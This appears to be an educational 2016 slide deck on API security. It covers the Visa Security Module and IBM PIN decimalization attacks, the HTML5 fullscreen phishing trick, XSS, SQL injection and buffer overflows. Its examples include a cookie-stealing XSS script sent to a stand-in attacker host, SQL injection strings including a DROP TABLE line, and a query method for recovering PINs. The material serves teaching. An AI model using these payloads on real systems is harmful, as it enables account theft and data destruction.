API Security

Presented by: Uri Ariel Nepomniashchy

31/05/2016
Content

- What is API
- API developing risks
- Attacks on APIs
- Summary
What is API?

- Interface for communication between:
  - Different applications
  - Application and OS
  - Software and Hardware
  - Client and server
The usage of APIs

APIs are everywhere

- Web Applications (Facebook, Twitter...)
- Application development (WhatsApp, Instagram...)
- OS System Calls
- Internet Of Things
Who are playing a role here?
Who are playing a role here?

Product Developer

API Developer

Product Client
So what's the problem?

**APIs are Vulnerable!**

- Door to the outer world.
- Untrusted sources **give commands**.
- The **existence itself** of the API could lead to unexpected security flaws.
API
Developing
Risks

- How the client explained it
- How the project leader understood it
- How the developer wrote it
- How it performed under WhiteHat
- The disaster recover plan
- BlackHat
- Version 2.0 (we take security seriously)
- Competitor’s product
“Many feel that security is as much the responsibility of the product developer as it is a responsibility of the API provider.”

- nordicapis.com
Risk 1 - Relying on the product developer

- Security is best implemented at the lowest possible level.
- It should be the problem of the API developer, and the API developer alone.
Risk 1 - Relying on the product developer

The product developer not always can utilize important security tools like:

- Input control
- Secure protocols (HTTPS, SSL, SSH)
- Type checking etc...

without the API developer first design the system to use these solutions.
Moreover, the developer using our API might be a malicious attacker trying to mess with our API.
Risk 1 - Relying on the product developer

The takeaway - Secure Your System, It’s YOUR System!
Risk 2 – Lazy coding

- The code in question is **just enough** for functionality.
- Without the greater concern of how it ties into the platform as a whole, and how security concerns are dealt with.
Risk 2 - Lazy coding

- Poor error handling
- Lame value checking
- Ignoring memory overflows and more can lead to massive vulnerability issues.
Many developers adopt these new technologies \textbf{without fully understanding} what they do, and what they mean for the API security.

Vulnerabilities can quickly become far larger than they have any right to be.
Risk 4 – Trusting the user

- API developers often trust the user far too much
  - allowing too much data manipulation
  - Not limiting password complexity and usage
  - Sometimes even allowing repeat session ID tokens.
Attacks on APIs
Attacks:

- Attack on VISA security module
- Attack on IBM 4758
- HTML5 Fullscreen API Attack
- Cross Site Scripting (XSS)
- SQL Injection
- Buffer Overflow
Attack on Visa Security Module
Attack on Visa Security Module API

- Hardware device for secure bank transactions.
- Not enough storage for all the keys it might have to use.
- Stores a single master key, in tamper-resistant memory.
- Stores all other keys outside encrypted under M.
Attack on Visa Security Module API

- PIN generation:
  - $E_{PIN_{Verify}}(A_{num})$

- The ATM sends PINs to the VSM for verification.
We will look at the Terminal Key creation for ATMs.

ATM security is based on dual key control generated by the VSM.

The VSM returns it encrypted to the host.
Terminal Key creation:

- Two keys are entered into the VSM.
- The VSM generates Terminal Key by XOR them.
- Terminal Key $K = k_1 \oplus k_2$
Terminal Key creation:

- Terminal Key $K = k_1 \oplus k_2$
- What happens if we insert the same encrypted key twice?
  - $K = k_1 \oplus k_1 = 0.$
- Zero key inside the system.
Attack on Visa Security Module API

- So what can be done now?
- The VSM had a transaction to encrypt any key $K$ supplied encrypted under $M$, under any other key that itself is encrypted under $M$. 

![Diagram]

- $Host \xrightarrow{E_M(K), E_M(P)} VSM_{api}$
- $VSM_{api} \xrightarrow{E_K(P)} Host$
The bank’s PIN verification key was also stored outside the module encrypted under M.

It was made for offline PIN verification support.
But now, $K = K_1 \oplus K_1 = 0$ encrypted under $M$ either.

So we can “encrypt” the bank’s PIN verification key under our $0_{key}$.

We decrypted the bank’s crown jewels, who was even kept outside the module.
The next attack was found by building a formal model of the key types.

The VSM had another transaction of entering unencrypted MAC key, and getting it encrypted under – you guessed it - any other key K that itself encrypted under M.
PINs retrieval 101 a.k.a. another attack

- Wait a minute!
- We can get the MAC encrypted under $PIN_{verify}$.
- What will happen if we enter account number $A_{num}$ instead of legit MAC?

\[
\text{Host} \xrightarrow{A_{num}, E_{M}(PIN_{verify})} \text{VSM}_{api} \\
\text{VSM}_{api} \xrightarrow{E_{PIN_{verify}}(A_{num})} \text{Host}
\]
PINs retrieval 101 a.k.a. another attack

- Wait a minute!
- We can get the MAC encrypted under $PIN_{verify}$.
- What will happen if we enter account number $A_{num}$ instead of legit MAC?
- We just got the actual PIN number just by inputting the victim’s account number.
Attack on IBM PIN Generation
In IBM PIN code generation, $PIN_c$ depends on 3 values:

- $PIN_{verify}$ – bank’s master PIN.
- $A_{num}$ – account number.
- Offset – for memorable (weak) PIN.

$$H = E_{PIN_{verify}}(A_{num})$$
$$D = \text{Decimalize}(H) \text{ by } Dec_{Table}$$
$$PIN_c = D_1^4 + \text{offset}$$
Attack on IBM PIN Generation

- Lets take an example where:
  - $A_{num} = 8807012345691715$
  - $PIN_{Verify} = FEFEFEFEFEFEFEFEFE$
  - $offset = 6565$
  - $Dec_{Table}$:

$$E_{PIN_{Verify}}(A_{num}) = a2ce126c69aec82d$$

$$Decimalize(H) = 022412626904823$$

$$PIN_C = 0224 + 6565 = 6789$$
Attack on IBM PIN Generation

- Hey!
- Lets let the user supply the $Dec_{Table}$!
Attack on IBM PIN Generation

Why?
**Attack on IBM PIN Generation**

- **Set DecTable** =

<table>
<thead>
<tr>
<th></th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>9</th>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
</tr>
</thead>
<tbody>
<tr>
<td>DecTable</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

- **Get E(PIN_C)** = 0000

- **Set DecTable** =

<table>
<thead>
<tr>
<th></th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>9</th>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
</tr>
</thead>
<tbody>
<tr>
<td>DecTable</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

- **If E(PIN_C) has changed, then it contained a ‘0’**.
Attack on IBM PIN Generation

- And so on....
- With a few dozen queries \( PIN_c \) can be found
**Attack on IBM PIN Generation**

- **IBM’s “solution”:**

- $Dec_{Table}$ Must contain at least 8 different characters, that appear at most 4 times.
"Attack on IBM PIN Generation"

- Set $Dec_{Table} =$

- Get $E(PIN_c)$

- Set $Dec_{Table} =$

- Again, if $E(PIN_c)$ has changed, then it contained a ‘0’.
YOU HAVE GONE FULL SCREEN

YOU NEVER GO FULL SCREEN

HTML 5
Fullscreen
API attack
What is the Full-Screen API?

The Fullscreen API provides an easy way for web content to be presented using the user's entire screen.

The API lets you easily direct the browser to make an element and its children, occupy the Fullscreen, eliminating all browser UI and other applications from the screen for the duration.
Using the Fullscreen API to present the user with an image that “legitimates” the forged site.

http://feross.org/html5-fullscreen-api-attack/
What is Cross-Site Scripting? Threat level: VERYHIGH
Injection of malicious scripts through the URL.
Allowing hackers to easily steal any of your passwords, without hacking the site.
It’s highly effective, difficult to identify but relatively easy to prevent.

XSS accounts for 15% of all web attacks

Social engineering
Cookie stealing
Database infecting

A «friend» emails you an innocent url or image. Before you know it, your social account is stolen. It’s that easy.
One of the ways to use XSS is by exploiting website cookies. Sounds delicious!
An effective and planned XSS attack can infect the entire database, thus all the user accounts.

The XSS family
XSS – Cross Site Scripting

- XSS is a type vulnerability that occurs when an attacker uses a webApp to *inject client-side scripts* into web pages viewed by other users.

- Every month roughly 10-25 XSS exploits are discovered in commercial products.
XSS – Cross Site Scripting

Hi, this is XKCD SW. We're having some computer trouble.

Oh, dear - did I break something? In a way -

Did you really name your comic `<script>alert(String.fromCharCode(64976));</script>`? Oh, yes.

Well, you've killed XKCD SW's visitors. I hope you're happy.

And I hope you've learned to sanitize your database inputs.
XSS – Cross Site Scripting

- There are (arguably) three types of XSS
  - Persistent (Stored) XSS
  - Non-Persistent (Reflected) XSS
  - Local (DOM-Based) XSS
1. The attacker uses one of the website's forms to insert a malicious string into the website's database.
2. The victim requests a page from the website.
3. The website includes the malicious string from the database in the response and sends it to the victim.
4. The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.
**Reflected (Non-Persistent) XSS**

1. The attacker crafts a URL containing a malicious string and sends it to the victim.
2. The victim is tricked by the attacker into requesting the URL from the website.
3. The website includes the malicious string from the URL in the response.
4. The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.
Check this out: http://website/search?keyword=<script>...</script>

GET http://attacker/?cookie=sensitive-data

200 OK

Victim's Browser

Website's Response to Victim

<html>
You searched for:
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
</html>

Website's Response Script

print "<html>
print "You searched for:"
print request.query['keyword']
print "</html>"
Local (DOM Based) XSS

1. The attacker crafts a URL containing a malicious string and sends it to the victim.
2. The victim is tricked by the attacker into requesting the URL from the website.
3. The website receives the request, but does not include the malicious string in the response.
4. The victim's browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page.
5. The victim's browser executes the malicious script inserted into the page, sending the victim's cookies to the attacker's server.
Many APIs use SQL transactions in the background.
The code is written in advance, and the parameters are taken from the API call.
If the parameter isn’t checked, SQL code can be ‘Injected’ and executed.
SQL injection

- SQL code: `select * from believers where name = '$$' ;`
- Expected parameter ($$): High Sparrow
- Attacker’s parameter: `High Sparrow'); insert into believers values ('Tomen Baratheon`
- When inserted: `select * from believers where name = ('High Sparrow'); insert into believers values ('Tomen Baratheon');`
**SQL injection**

**Comic**

1. **Hi, this is your son’s school. We’re having some computer trouble.**
2. **Oh, dear - did he break something? In a way -**
3. **Did you really name your son Robert'); DROP TABLE Students; -- ?**
4. **Oh, yes. Little Bobby Tables, we call him.**
5. **Well, we’ve lost this year’s student records. I hope you’re happy.**
6. **And I hope you’ve learned to sanitize your database inputs.**
Your mother is so fat, the recursive function computing her mass causes a stack overflow.
Buffer Overflow

- Every API reads input from the user.
- No computer has an infinite input buffer.
- Devastating attacks can be executed if input string length is not checked.
- What is the problem here?
Buffer Overflow – The Stack

Stack

- gets locals
- BP
- return addr
- param - buffer
- buffer
- BP
- return addr

gets frame

main frame
Buffer Overflow – *The attack*

- main finishes as usual
- The Computer is infected

---

```c
main()
{
    gets locals
    BP
    return addr
    param - buffer
    buffer
    BP
    return addr
}

Code:
```download(‘GoT.mkv’)``` while( 1 )
```play(‘Got.mkv’)```~override~
```buffer addr```
When implementing an API you should:

- Trust yourself only, and secure your software.
- Understand your needs and don’t push it.

The takeaway

STAY PARANOID AND TRUST NO ONE
The takeaway

- **Input check.**
  - The code which handles the **user’s input** is extremely critical
  - It should be treated that way.
Defend and Secure – the perfect guide
"THERE ARE NO STUPID QUESTIONS"

CHALLENGE ACCEPTED
Thank you for not falling a sleep!

Hodor?